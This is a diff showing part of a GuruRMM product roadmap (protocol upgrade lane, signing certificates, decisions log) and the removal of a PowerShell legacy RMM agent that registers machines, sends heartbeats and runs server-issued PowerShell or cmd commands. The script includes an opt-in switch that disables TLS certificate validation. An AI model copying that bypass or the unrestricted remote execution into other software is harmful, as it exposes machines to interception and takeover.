||||
Problem surfaced 2026-04-15: as the codebase evolves (multi-tenancy pivot, tunnel channels, new message types), long-offline agents will return to find the wire format they knew is gone. Without an upgrade lane, those agents become zombies — visible in the dashboard as "offline for 47 days," never self-heal, require manual intervention (RDP in, uninstall, reinstall).
|
||||
|
||||
Concrete example: Scileppi VP laptop offline for days. When it wakes up and tries to check in with v0.6.0 against a server that by then expects v0.9.x protocol, we need the server to say "I see you, you're old, here's how to update yourself" — and have the agent auto-comply.
|
||||
|
||||
**Design principle:** the bootstrap/hello path is sacred. It must never break, even across major protocol revisions. All other endpoints and message shapes are allowed to change. An agent that can still reach `/hello` can always recover.
|
||||
|
||||
| # | Feature | Priority | Status | Notes |
|
||||
|---|---------|----------|--------|-------|
|
||||
| V1 | Protocol version negotiation on connect | High | Open | Agent sends `{agent_version, protocol_version, os, arch}` as first message. Server responds with `{server_version, min_supported_protocol, latest_protocol, action}` where action ∈ {`proceed`, `upgrade_required`, `rejected`}. WebSocket subprotocol header is one delivery option; a dedicated HTTP hello endpoint is another. Pick one, then never change its shape. |
|
||||
| V2 | Stable bootstrap endpoint | High | Open | `POST /api/v1/bootstrap/hello` that accepts the agent handshake forever. Contract: input schema is additive-only (new optional fields OK, never rename/remove), output shape is additive-only. Agents as old as v0.1 must be able to hit this and get meaningful response. |
|
||||
| V3 | Compat shim layer per old protocol version | High | Open | When an old agent checks in, server translates between the old wire format and current internal types. Shim lives in `server/src/compat/v{N}.rs`. Each shim documents: which protocol versions it supports, what adapters it provides, planned removal date. |
|
||||
| V4 | Server-initiated forced upgrade instruction | High | Open | When handshake returns `action: upgrade_required`, response also includes `update_url`, `update_checksum`, `update_args`, and optional `restart_policy`. Agent treats this as highest-priority command, bypasses normal command queue, upgrades + relaunches itself. |
|
||||
| V5 | Agent self-update atomic rename (verify) | High | Exists (hardening needed) | Already done per 2026-04-01 ADR. Audit against V4 flow: does current updater handle "tell me exactly which version to install" vs. "upgrade to latest"? May need parameterization. |
|
||||
| V6 | Per-version support matrix + sunset policy | High | Open | Dashboard surface: table showing N agents per protocol version per tenant. Automated sunset: when a protocol version has 0 live agents for 60 days across all tenants, flag compat shim for removal in next release. Manual override to force-remove earlier. |
|
||||
| V7 | Agent version pinning per tenant | Medium | Open | MSP can opt tenants into "stable" (N-1), "current" (latest), or "beta" (preview) update channels. Controls auto-update rollout pace across their fleet. |
|
||||
| V8 | Late check-in handling: accept then command | High | Open | On stale-agent connect: (a) accept the handshake via compat shim, (b) record the connect event in audit, (c) immediately enqueue the upgrade command, (d) agent executes before any other work. Dashboard shows agent as "upgrading" briefly before "online". |
|
||||
| V9 | Graceful protocol deprecation warnings | Medium | Open | When an agent connects on a deprecated (but still supported) protocol, server sends a warning field in every response. Agent logs it. Gives MSPs lead time to upgrade their fleet before hard-removal. |
|
||||
| V10 | Rollback path for bad upgrades | High | Open | If v0.N upgrade bricks agents, bootstrap endpoint must let an operator mark v0.N `action: downgrade_required` and ship an older binary. Requires keeping old binaries in `/var/www/gururmm/downloads/` with pinned checksums. |
|
||||
| V11 | | | | |
|
||||
|
||||
## Certificates & Trust
|
||||
|
||||
Code signing and TLS/trust certificates required to ship + operate the product without install-time friction. Decisions 2026-04-15.
|
||||
|
||||
| # | Item | Priority | Status | Cost | Notes |
|
||||
|---|------|----------|--------|------|-------|
|
||||
| C1 | Azure Trusted Signing — Windows agent + installer | High | In progress (2026-04-15) | ~$9.99/mo + per-sig fee | Hosted signing service. Bypasses hardware-token requirement that took effect June 2023. Public Trust level requires 3+ yrs business existence; Private Trust available immediately but limited usefulness. Identity verification via Microsoft takes days. See setup steps in session-logs/2026-04-15. |
|
||||
| C2 | Apple Developer Program — macOS agent notarization | High | Open | $99/yr | Developer ID Application + Installer certs; notarization via `xcrun notarytool`; Hardened Runtime entitlements; ticket stapling for offline installs. Enrollment can take days — start early. |
|
||||
| C3 | GPG signing — Linux .deb / .rpm packages | High | Open | Free | Generate key pair, publish pubkey at a stable URL, sign packages with `debsign`/`rpmsign`, host signed apt/yum repo with proper `Release`/`repomd.xml`. |
|
||||
| C4 | Timestamping — all signed artifacts | High | Open | Free | Use DigiCert or Sectigo public timestamp servers so signatures remain valid after cert rotation. Verify in CI that every signed binary has a valid timestamp. |
|
||||
| C5 | TLS automation for own domains | High | Done | Free | Cloudflare + Let's Encrypt already in place for `rmm-api.azcomputerguru.com`. Wildcard for `*.gururmm.com` when that domain lights up. |
|
||||
| C6 | Per-Partner white-label custom domains | Medium | Open | ~$7/mo/domain via CF-for-SaaS, or DIY with ACME DNS-01 | Partners want `rmm.theirbrand.com`. Decide: host certs ourselves via ACME DNS-01 + Cloudflare API, or use Cloudflare for SaaS. Defer until first Partner asks. |
|
||||
| C7 | Agent-to-server mTLS (enterprise option) | Low | Open | Internal CA + time | Self-signed CA + per-agent client certs. Bootstrap enrolls agent and issues cert scoped to `agent_id`. Adds install complexity. Defer until an enterprise customer demands it. |
|
||||
| C8 | SBOM + Sigstore/cosign provenance | Medium | Open | Free | Auto-generate CycloneDX or SPDX SBOM per release. `cosign` sign artifacts + container images. Important for SOC2-conscious MSPs evaluating supply chain. |
|
||||
| C9 | Windows Defender / vendor FP submission runbook | Medium | Open | — | Despite valid signing, heuristic engines flag new binaries. Keep a runbook with submission portal links (Microsoft Security Intelligence, Malwarebytes, etc.). |
|
||||
| C10 | Email sending trust: DKIM / SPF / DMARC | Medium | Open | Free | Required when PSA module sends ticket notifications. Set up on sending domain; per-Partner if white-labeled email is a feature. |
|
||||
| C11 | WHQL driver signing | Deferred | Open | $$$ + weeks turnaround | Only if we ship a kernel driver. Avoid this path — use user-mode alternatives first. |
|
||||
| C12 | | | | | |
|
||||
|
||||
## Decisions Log
|
||||
|
||||
Short record of why things are the shape they are. Append, don't edit.
|
||||
|
||||
**2026-04-15 — Tunnel Phase 1 verified live.** End-to-end test from off-LAN workstation via `rmm-api.azcomputerguru.com`. Open/status/close lifecycle works. Confirmed nginx proxies `/api/*` (not just `/downloads/`). See session-logs/2026-04-15-session.md.
|
||||
|
||||
**2026-04-15 — Logging split into three tiers.** Decided against a single custom log transport. Agent self-logging to OS-native sinks (Event Viewer / journald / os_log). Client machine health via OS event log pulls. Tunnel audit direct to RMM DB. Rationale: sysadmins can troubleshoot with familiar tools; only high-value audit data hits our DB.
|
||||
|
||||
**2026-04-15 — Tunnel audit is never scrubbed.** If a tech types a password during a session, it gets stored. Purpose is to audit tech behavior, and scrubbing would undermine that. Offsetting controls: encryption at rest, admin-role-gated access, meta-audit of log views, tech SOP documentation. See L10.
|
||||
|
||||
**2026-04-15 — Multi-tenancy from day one.** Target market is MSPs reselling this product. Adding `tenant_id` retroactively after feature growth is a brutal migration; baking it in now is cheap. Every new table gets `tenant_id` FK from here forward.
|
||||
|
||||
**2026-04-15 — Poll cadences.** 15-min delta + on-tunnel-open/close for critical+error+warning. 4h bulk for info/debug/audit/notification. All tenant-configurable.
|
||||
|
||||
**2026-04-15 — Retention.** 90 days default for tenant-visible tables. Indefinite system-level for `tunnel_audit` with object-storage archive after the tenant-visible window. Legal/compliance contexts (HIPAA 6yr, PCI 1yr) handled by per-tenant extended retention configs.
|
||||
|
||||
**2026-04-15 — Hierarchy terminology locked.** Platform > Partner (MSP, DB: tenant_id) > Client > Site > Agent. API and UI say "Partner"; DB says `tenant_id`. No "sub-tenant", no ambiguous "customer". Department/OU tier deferred. MSPs can white-label labels via JSONB overrides. See Terminology section at top of this file.
|
||||
|
||||
**2026-04-15 — Modular architecture from day one.** Core = tenants + agents + auth + audit + commands + tunnel framework + bootstrap. Everything else = module. Modules own their schema namespace, never touch each other's tables, communicate via event bus (X3) and versioned module APIs (X4/X5). Public REST API (X6) separate from internal dashboard API. Webhook subscriptions (X8) for customer integrations. Third-party modules via WASM or signed containers — deferred but design-constrained now. Concrete module candidates: PSA/CRM, remote syslog, backups, patch management, IT-Glue-style docs, network monitoring. See X1-X12.
|
||||
|
||||
**2026-04-15 — Bootstrap endpoint is sacred.** Protocol version negotiation via a single `/api/v1/bootstrap/hello` endpoint whose input/output are additive-only forever. Every other endpoint/message is free to evolve. Enables late-arriving agents (Scileppi VP example: offline for days, wakes up to find a newer server protocol) to reconnect, get accepted, and receive an automatic upgrade instruction. Compat shim layer per old protocol version with automated sunset policy when fleet-wide usage hits zero. See V1-V10.
|
||||
|
||||
## Rewrite Assessment
|
||||
|
||||
**Criteria for rewrite:**
|
||||
- If >50% of planned features require fighting the current architecture
|
||||
- If the tech stack is fundamentally wrong for the goals
|
||||
- If accumulated tech debt makes changes unreasonably slow
|
||||
|
||||
**Current assessment (2026-04-15):** The multi-tenancy pivot means a schema refactor is unavoidable (add `tenant_id` everywhere, tenancy-aware auth middleware). This is additive, not a rewrite. Rust + Axum + Postgres + WebSocket stack remains fit for purpose. Current code is a solid foundation. No rewrite planned; structural additions tracked above.
|
||||
@@ -1,588 +0,0 @@
|
||||
#Requires -Version 2.0
|
||||
<#
|
||||
.SYNOPSIS
|
||||
GuruRMM Legacy Agent for Windows Server 2008 R2 and older systems.
|
||||
|
||||
.DESCRIPTION
|
||||
This PowerShell-based agent is designed for legacy Windows systems that cannot
|
||||
run the modern Rust-based GuruRMM agent. It provides basic RMM functionality
|
||||
including registration, heartbeat, system info collection, and remote command
|
||||
execution.
|
||||
|
||||
IMPORTANT: This agent is intended for legacy systems only. For Windows 10/
|
||||
Server 2016 and newer, use the native Rust agent instead.
|
||||
|
||||
.PARAMETER ConfigPath
|
||||
Path to the agent configuration file. Default: $env:ProgramData\GuruRMM\agent.json
|
||||
|
||||
.PARAMETER ServerUrl
|
||||
The URL of the GuruRMM server (e.g., https://rmm.example.com)
|
||||
|
||||
.PARAMETER SiteCode
|
||||
The site code for agent registration (e.g., ACME-CORP-1234)
|
||||
|
||||
.PARAMETER AllowInsecureTLS
|
||||
[SECURITY RISK] Disables SSL/TLS certificate validation. Required ONLY for
|
||||
systems with self-signed certificates or broken certificate chains.
|
||||
|
||||
WARNING: This flag makes the connection vulnerable to man-in-the-middle
|
||||
attacks. Only use on isolated networks or when absolutely necessary.
|
||||
|
||||
This flag must be explicitly provided - certificate validation is enabled
|
||||
by default.
|
||||
|
||||
.PARAMETER Register
|
||||
Register this agent with the server.
|
||||
|
||||
.EXAMPLE
|
||||
# Secure installation (recommended)
|
||||
.\GuruRMM-Agent.ps1 -Register -ServerUrl "https://rmm.example.com" -SiteCode "ACME-CORP-1234"
|
||||
|
||||
.EXAMPLE
|
||||
# Insecure installation (legacy systems with self-signed certs ONLY)
|
||||
.\GuruRMM-Agent.ps1 -Register -ServerUrl "https://rmm.example.com" -SiteCode "ACME-CORP-1234" -AllowInsecureTLS
|
||||
|
||||
.EXAMPLE
|
||||
# Run the agent
|
||||
.\GuruRMM-Agent.ps1
|
||||
|
||||
.NOTES
|
||||
Version: 1.1.0
|
||||
Requires: PowerShell 2.0+
|
||||
Platforms: Windows Server 2008 R2, Windows 7, and newer
|
||||
Author: GuruRMM
|
||||
#>
|
||||
|
||||
param(
|
||||
[Parameter()]
|
||||
[string]$ConfigPath = "$env:ProgramData\GuruRMM\agent.json",
|
||||
|
||||
[Parameter()]
|
||||
[switch]$Register,
|
||||
|
||||
[Parameter()]
|
||||
[string]$SiteCode,
|
||||
|
||||
[Parameter()]
|
||||
[string]$ServerUrl = "https://rmm-api.azcomputerguru.com",
|
||||
|
||||
[Parameter()]
|
||||
[switch]$AllowInsecureTLS
|
||||
)
|
||||
|
||||
# ============================================================================
|
||||
# Configuration
|
||||
# ============================================================================
|
||||
|
||||
$script:Version = "1.1.0"
|
||||
$script:AgentType = "powershell-legacy"
|
||||
$script:ConfigDir = "$env:ProgramData\GuruRMM"
|
||||
$script:LogFile = "$script:ConfigDir\agent.log"
|
||||
$script:PollInterval = 60 # seconds
|
||||
$script:AllowInsecureTLS = $AllowInsecureTLS
|
||||
$script:TLSInitialized = $false
|
||||
|
||||
# ============================================================================
|
||||
# Logging
|
||||
# ============================================================================
|
||||
|
||||
function Write-Log {
|
||||
param([string]$Message, [string]$Level = "INFO")
|
||||
|
||||
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
|
||||
$logLine = "[$timestamp] [$Level] $Message"
|
||||
|
||||
# Write to console
|
||||
switch ($Level) {
|
||||
"ERROR" { Write-Host $logLine -ForegroundColor Red }
|
||||
"WARN" { Write-Host $logLine -ForegroundColor Yellow }
|
||||
"DEBUG" { Write-Host $logLine -ForegroundColor Gray }
|
||||
default { Write-Host $logLine }
|
||||
}
|
||||
|
||||
# Write to file
|
||||
try {
|
||||
if (-not (Test-Path $script:ConfigDir)) {
|
||||
New-Item -ItemType Directory -Path $script:ConfigDir -Force | Out-Null
|
||||
}
|
||||
Add-Content -Path $script:LogFile -Value $logLine -ErrorAction SilentlyContinue
|
||||
} catch {}
|
||||
}
|
||||
|
||||
# ============================================================================
|
||||
# TLS Initialization
|
||||
# ============================================================================
|
||||
|
||||
function Initialize-TLS {
|
||||
if ($script:TLSInitialized) {
|
||||
return
|
||||
}
|
||||
|
||||
# Configure TLS - prefer TLS 1.2
|
||||
try {
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
Write-Log "TLS 1.2 configured successfully" "INFO"
|
||||
} catch {
|
||||
Write-Log "TLS 1.2 not available, trying TLS 1.1" "WARN"
|
||||
try {
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls11
|
||||
} catch {
|
||||
Write-Log "TLS 1.1 not available - using system default TLS" "WARN"
|
||||
try {
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls
|
||||
} catch {
|
||||
Write-Log "TLS configuration failed - connection security may be limited" "WARN"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Certificate validation - ONLY disable if explicitly requested
|
||||
if ($script:AllowInsecureTLS) {
|
||||
Write-Log "============================================" "WARN"
|
||||
Write-Log "[SECURITY WARNING] Certificate validation DISABLED" "WARN"
|
||||
Write-Log "This makes the connection vulnerable to MITM attacks" "WARN"
|
||||
Write-Log "Only use on legacy systems with self-signed certificates" "WARN"
|
||||
Write-Log "============================================" "WARN"
|
||||
|
||||
# Log to Windows Event Log for audit trail
|
||||
try {
|
||||
$source = "GuruRMM"
|
||||
if (-not [System.Diagnostics.EventLog]::SourceExists($source)) {
|
||||
New-EventLog -LogName Application -Source $source -ErrorAction SilentlyContinue
|
||||
}
|
||||
Write-EventLog -LogName Application -Source $source -EventId 1001 -EntryType Warning `
|
||||
-Message "GuruRMM agent started with certificate validation disabled (-AllowInsecureTLS). This is a security risk."
|
||||
} catch {
|
||||
Write-Log "Could not write to Windows Event Log: $_" "WARN"
|
||||
}
|
||||
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
|
||||
} else {
|
||||
Write-Log "Certificate validation ENABLED (secure mode)" "INFO"
|
||||
# Ensure callback is reset to default (validate certificates)
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null
|
||||
}
|
||||
|
||||
$script:TLSInitialized = $true
|
||||
}
|
||||
|
||||
# ============================================================================
|
||||
# HTTP Functions (PS 2.0 compatible)
|
||||
# ============================================================================
|
||||
|
||||
function Invoke-ApiRequest {
|
||||
param(
|
||||
[string]$Endpoint,
|
||||
[string]$Method = "GET",
|
||||
[hashtable]$Body,
|
||||
[string]$ApiKey
|
||||
)
|
||||
|
||||
$url = "$($script:Config.ServerUrl)$Endpoint"
|
||||
|
||||
try {
|
||||
# Initialize TLS settings (only runs once)
|
||||
Initialize-TLS
|
||||
|
||||
# Use .NET WebClient for PS 2.0 compatibility
|
||||
$webClient = New-Object System.Net.WebClient
|
||||
$webClient.Headers.Add("Content-Type", "application/json")
|
||||
$webClient.Headers.Add("User-Agent", "GuruRMM-Legacy/$script:Version")
|
||||
|
||||
if ($ApiKey) {
|
||||
$webClient.Headers.Add("Authorization", "Bearer $ApiKey")
|
||||
}
|
||||
|
||||
if ($Method -eq "GET") {
|
||||
$response = $webClient.DownloadString($url)
|
||||
} else {
|
||||
$jsonBody = ConvertTo-JsonCompat $Body
|
||||
$response = $webClient.UploadString($url, $Method, $jsonBody)
|
||||
}
|
||||
|
||||
return ConvertFrom-JsonCompat $response
|
||||
|
||||
} catch [System.Net.WebException] {
|
||||
$statusCode = $null
|
||||
if ($_.Exception.Response) {
|
||||
$statusCode = [int]$_.Exception.Response.StatusCode
|
||||
}
|
||||
Write-Log "API request failed: $($_.Exception.Message) (Status: $statusCode)" "ERROR"
|
||||
return $null
|
||||
} catch {
|
||||
Write-Log "API request error: $($_.Exception.Message)" "ERROR"
|
||||
return $null
|
||||
}
|
||||
}
|
||||
|
||||
# PS 2.0 compatible JSON functions
|
||||
function ConvertTo-JsonCompat {
|
||||
param([object]$Object)
|
||||
|
||||
if (Get-Command ConvertTo-Json -ErrorAction SilentlyContinue) {
|
||||
return ConvertTo-Json $Object -Depth 10
|
||||
}
|
||||
|
||||
# Manual JSON serialization for PS 2.0
|
||||
$serializer = New-Object System.Web.Script.Serialization.JavaScriptSerializer
|
||||
return $serializer.Serialize($Object)
|
||||
}
|
||||
|
||||
function ConvertFrom-JsonCompat {
|
||||
param([string]$Json)
|
||||
|
||||
if (-not $Json) { return $null }
|
||||
|
||||
if (Get-Command ConvertFrom-Json -ErrorAction SilentlyContinue) {
|
||||
return ConvertFrom-Json $Json
|
||||
}
|
||||
|
||||
# Manual JSON deserialization for PS 2.0
|
||||
Add-Type -AssemblyName System.Web.Extensions
|
||||
$serializer = New-Object System.Web.Script.Serialization.JavaScriptSerializer
|
||||
return $serializer.DeserializeObject($Json)
|
||||
}
|
||||
|
||||
# ============================================================================
|
||||
# Configuration Management
|
||||
# ============================================================================
|
||||
|
||||
function Get-AgentConfig {
|
||||
if (Test-Path $ConfigPath) {
|
||||
try {
|
||||
$content = Get-Content $ConfigPath -Raw
|
||||
return ConvertFrom-JsonCompat $content
|
||||
} catch {
|
||||
Write-Log "Failed to read config: $($_.Exception.Message)" "ERROR"
|
||||
}
|
||||
}
|
||||
return $null
|
||||
}
|
||||
|
||||
function Save-AgentConfig {
|
||||
param([hashtable]$Config)
|
||||
|
||||
try {
|
||||
if (-not (Test-Path $script:ConfigDir)) {
|
||||
New-Item -ItemType Directory -Path $script:ConfigDir -Force | Out-Null
|
||||
}
|
||||
|
||||
$json = ConvertTo-JsonCompat $Config
|
||||
Set-Content -Path $ConfigPath -Value $json -Force
|
||||
Write-Log "Configuration saved to $ConfigPath"
|
||||
return $true
|
||||
} catch {
|
||||
Write-Log "Failed to save config: $($_.Exception.Message)" "ERROR"
|
||||
return $false
|
||||
}
|
||||
}
|
||||
|
||||
# ============================================================================
|
||||
# System Information Collection
|
||||
# ============================================================================
|
||||
|
||||
function Get-SystemInfo {
|
||||
$info = @{}
|
||||
|
||||
try {
|
||||
# Basic info
|
||||
$os = Get-WmiObject Win32_OperatingSystem
|
||||
$cs = Get-WmiObject Win32_ComputerSystem
|
||||
$cpu = Get-WmiObject Win32_Processor | Select-Object -First 1
|
||||
|
||||
$info.hostname = $env:COMPUTERNAME
|
||||
$info.os_type = "Windows"
|
||||
$info.os_version = $os.Caption
|
||||
$info.os_build = $os.BuildNumber
|
||||
$info.architecture = $os.OSArchitecture
|
||||
|
||||
# Uptime
|
||||
$bootTime = $os.ConvertToDateTime($os.LastBootUpTime)
|
||||
$uptime = (Get-Date) - $bootTime
|
||||
$info.uptime_seconds = [int]$uptime.TotalSeconds
|
||||
$info.last_boot = $bootTime.ToString("yyyy-MM-ddTHH:mm:ssZ")
|
||||
|
||||
# Memory
|
||||
$info.memory_total_mb = [math]::Round($cs.TotalPhysicalMemory / 1MB)
|
||||
$info.memory_free_mb = [math]::Round($os.FreePhysicalMemory / 1KB)
|
||||
$info.memory_used_percent = [math]::Round((1 - ($os.FreePhysicalMemory * 1KB / $cs.TotalPhysicalMemory)) * 100, 1)
|
||||
|
||||
# CPU
|
||||
$info.cpu_name = $cpu.Name.Trim()
|
||||
$info.cpu_cores = $cpu.NumberOfCores
|
||||
$info.cpu_logical = $cpu.NumberOfLogicalProcessors
|
||||
$info.cpu_usage_percent = (Get-WmiObject Win32_Processor | Measure-Object -Property LoadPercentage -Average).Average
|
||||
|
||||
# Disk
|
||||
$disks = @()
|
||||
Get-WmiObject Win32_LogicalDisk -Filter "DriveType=3" | ForEach-Object {
|
||||
$disks += @{
|
||||
drive = $_.DeviceID
|
||||
total_gb = [math]::Round($_.Size / 1GB, 1)
|
||||
free_gb = [math]::Round($_.FreeSpace / 1GB, 1)
|
||||
used_percent = [math]::Round((1 - ($_.FreeSpace / $_.Size)) * 100, 1)
|
||||
}
|
||||
}
|
||||
$info.disks = $disks
|
||||
|
||||
# Network
|
||||
$adapters = @()
|
||||
Get-WmiObject Win32_NetworkAdapterConfiguration -Filter "IPEnabled=True" | ForEach-Object {
|
||||
$adapters += @{
|
||||
name = $_.Description
|
||||
ip_addresses = @($_.IPAddress | Where-Object { $_ })
|
||||
mac_address = $_.MACAddress
|
||||
}
|
||||
}
|
||||
$info.network_adapters = $adapters
|
||||
|
||||
# Get primary IP
|
||||
$primaryIp = (Get-WmiObject Win32_NetworkAdapterConfiguration |
|
||||
Where-Object { $_.IPAddress -and $_.DefaultIPGateway } |
|
||||
Select-Object -First 1).IPAddress |
|
||||
Where-Object { $_ -match '^\d+\.\d+\.\d+\.\d+$' } |
|
||||
Select-Object -First 1
|
||||
$info.primary_ip = $primaryIp
|
||||
|
||||
# Agent info
|
||||
$info.agent_version = $script:Version
|
||||
$info.agent_type = $script:AgentType
|
||||
$info.powershell_version = $PSVersionTable.PSVersion.ToString()
|
||||
$info.timestamp = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
|
||||
|
||||
} catch {
|
||||
Write-Log "Error collecting system info: $($_.Exception.Message)" "ERROR"
|
||||
}
|
||||
|
||||
return $info
|
||||
}
|
||||
|
||||
# ============================================================================
|
||||
# Registration
|
||||
# ============================================================================
|
||||
|
||||
function Register-Agent {
|
||||
param([string]$SiteCode)
|
||||
|
||||
if (-not $SiteCode) {
|
||||
# Prompt for site code
|
||||
Write-Host ""
|
||||
Write-Host "=== GuruRMM Legacy Agent Registration ===" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
$SiteCode = Read-Host "Enter site code (WORD-WORD-NUMBER)"
|
||||
}
|
||||
|
||||
# Validate format
|
||||
if ($SiteCode -notmatch '^[A-Z]+-[A-Z]+-\d+$') {
|
||||
$SiteCode = $SiteCode.ToUpper()
|
||||
if ($SiteCode -notmatch '^[A-Z]+-[A-Z]+-\d+$') {
|
||||
Write-Log "Invalid site code format. Expected: WORD-WORD-NUMBER (e.g., DARK-GROVE-7839)" "ERROR"
|
||||
return $false
|
||||
}
|
||||
}
|
||||
|
||||
Write-Log "Registering with site code: $SiteCode"
|
||||
|
||||
# Collect system info for registration
|
||||
$sysInfo = Get-SystemInfo
|
||||
|
||||
$regData = @{
|
||||
site_code = $SiteCode
|
||||
hostname = $sysInfo.hostname
|
||||
os_type = $sysInfo.os_type
|
||||
os_version = $sysInfo.os_version
|
||||
agent_version = $script:Version
|
||||
agent_type = $script:AgentType
|
||||
}
|
||||
|
||||
# Call registration endpoint
|
||||
$script:Config = @{ ServerUrl = $ServerUrl }
|
||||
$result = Invoke-ApiRequest -Endpoint "/api/agent/register-legacy" -Method "POST" -Body $regData
|
||||
|
||||
if ($result -and $result.api_key) {
|
||||
# Save configuration
|
||||
$config = @{
|
||||
ServerUrl = $ServerUrl
|
||||
ApiKey = $result.api_key
|
||||
AgentId = $result.agent_id
|
||||
SiteCode = $SiteCode
|
||||
RegisteredAt = (Get-Date).ToString("yyyy-MM-ddTHH:mm:ssZ")
|
||||
}
|
||||
|
||||
if (Save-AgentConfig $config) {
|
||||
Write-Host ""
|
||||
Write-Host "Registration successful!" -ForegroundColor Green
|
||||
Write-Host " Agent ID: $($result.agent_id)" -ForegroundColor Cyan
|
||||
Write-Host " Site: $($result.site_name)" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
return $true
|
||||
}
|
||||
} else {
|
||||
Write-Log "Registration failed. Check site code and server connectivity." "ERROR"
|
||||
}
|
||||
|
||||
return $false
|
||||
}
|
||||
|
||||
# ============================================================================
|
||||
# Heartbeat / Check-in
|
||||
# ============================================================================
|
||||
|
||||
function Send-Heartbeat {
|
||||
$sysInfo = Get-SystemInfo
|
||||
|
||||
$heartbeat = @{
|
||||
agent_id = $script:Config.AgentId
|
||||
timestamp = $sysInfo.timestamp
|
||||
system_info = $sysInfo
|
||||
}
|
||||
|
||||
$result = Invoke-ApiRequest -Endpoint "/api/agent/heartbeat" -Method "POST" -Body $heartbeat -ApiKey $script:Config.ApiKey
|
||||
|
||||
if ($result) {
|
||||
Write-Log "Heartbeat sent successfully" "DEBUG"
|
||||
|
||||
# Check for pending commands
|
||||
if ($result.pending_commands -and $result.pending_commands.Count -gt 0) {
|
||||
foreach ($cmd in $result.pending_commands) {
|
||||
Execute-RemoteCommand $cmd
|
||||
}
|
||||
}
|
||||
|
||||
return $true
|
||||
}
|
||||
|
||||
return $false
|
||||
}
|
||||
|
||||
# ============================================================================
|
||||
# Remote Command Execution
|
||||
# ============================================================================
|
||||
|
||||
function Execute-RemoteCommand {
|
||||
param([hashtable]$Command)
|
||||
|
||||
Write-Log "Executing command: $($Command.id) - $($Command.type)"
|
||||
|
||||
$result = @{
|
||||
command_id = $Command.id
|
||||
started_at = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
|
||||
success = $false
|
||||
output = ""
|
||||
error = ""
|
||||
}
|
||||
|
||||
try {
|
||||
switch ($Command.type) {
|
||||
"powershell" {
|
||||
# Execute PowerShell script
|
||||
$output = Invoke-Expression $Command.script 2>&1
|
||||
$result.output = $output | Out-String
|
||||
$result.success = $true
|
||||
}
|
||||
"cmd" {
|
||||
# Execute CMD command
|
||||
$output = cmd /c $Command.script 2>&1
|
||||
$result.output = $output | Out-String
|
||||
$result.success = $true
|
||||
}
|
||||
"info" {
|
||||
# Return system info
|
||||
$result.output = ConvertTo-JsonCompat (Get-SystemInfo)
|
||||
$result.success = $true
|
||||
}
|
||||
default {
|
||||
$result.error = "Unknown command type: $($Command.type)"
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
$result.error = $_.Exception.Message
|
||||
$result.output = $_.Exception.ToString()
|
||||
}
|
||||
|
||||
$result.completed_at = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
|
||||
|
||||
# Report result back
|
||||
Invoke-ApiRequest -Endpoint "/api/agent/command-result" -Method "POST" -Body $result -ApiKey $script:Config.ApiKey | Out-Null
|
||||
|
||||
Write-Log "Command $($Command.id) completed. Success: $($result.success)"
|
||||
}
|
||||
|
||||
# ============================================================================
|
||||
# Main Agent Loop
|
||||
# ============================================================================
|
||||
|
||||
function Start-AgentLoop {
|
||||
Write-Log "Starting GuruRMM Legacy Agent v$script:Version"
|
||||
Write-Log "Server: $($script:Config.ServerUrl)"
|
||||
Write-Log "Agent ID: $($script:Config.AgentId)"
|
||||
Write-Log "Poll interval: $script:PollInterval seconds"
|
||||
|
||||
$consecutiveFailures = 0
|
||||
$maxFailures = 5
|
||||
|
||||
while ($true) {
|
||||
try {
|
||||
if (Send-Heartbeat) {
|
||||
$consecutiveFailures = 0
|
||||
} else {
|
||||
$consecutiveFailures++
|
||||
Write-Log "Heartbeat failed ($consecutiveFailures/$maxFailures)" "WARN"
|
||||
}
|
||||
|
||||
# Back off if too many failures
|
||||
if ($consecutiveFailures -ge $maxFailures) {
|
||||
$backoffSeconds = [math]::Min(300, $script:PollInterval * $consecutiveFailures)
|
||||
Write-Log "Too many failures, backing off for $backoffSeconds seconds" "WARN"
|
||||
Start-Sleep -Seconds $backoffSeconds
|
||||
} else {
|
||||
Start-Sleep -Seconds $script:PollInterval
|
||||
}
|
||||
|
||||
} catch {
|
||||
Write-Log "Agent loop error: $($_.Exception.Message)" "ERROR"
|
||||
Start-Sleep -Seconds $script:PollInterval
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# ============================================================================
|
||||
# Entry Point
|
||||
# ============================================================================
|
||||
|
||||
# Load System.Web.Extensions for JSON (PS 2.0)
|
||||
try {
|
||||
Add-Type -AssemblyName System.Web.Extensions -ErrorAction SilentlyContinue
|
||||
} catch {}
|
||||
|
||||
# Check if registering
|
||||
if ($Register -or $SiteCode) {
|
||||
if (Register-Agent -SiteCode $SiteCode) {
|
||||
Write-Host "Run the agent with: .\GuruRMM-Agent.ps1" -ForegroundColor Yellow
|
||||
}
|
||||
exit
|
||||
}
|
||||
|
||||
# Load config
|
||||
$script:Config = Get-AgentConfig
|
||||
|
||||
if (-not $script:Config -or -not $script:Config.ApiKey) {
|
||||
Write-Host ""
|
||||
Write-Host "GuruRMM Legacy Agent is not registered." -ForegroundColor Yellow
|
||||
Write-Host ""
|
||||
Write-Host "To register, run:" -ForegroundColor Cyan
|
||||
Write-Host " .\GuruRMM-Agent.ps1 -Register" -ForegroundColor White
|
||||
Write-Host ""
|
||||
Write-Host "Or with site code:" -ForegroundColor Cyan
|
||||
Write-Host " .\GuruRMM-Agent.ps1 -SiteCode DARK-GROVE-7839" -ForegroundColor White
|
||||
Write-Host ""
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Override server URL if provided
|
||||
if ($ServerUrl -and $ServerUrl -ne "https://rmm-api.azcomputerguru.com") {
|
||||
$script:Config.ServerUrl = $ServerUrl
|
||||
}
|
||||
|
||||
# Start the agent
|
||||
Start-AgentLoop
|
||||
@@ -1,206 +0,0 @@
|
||||
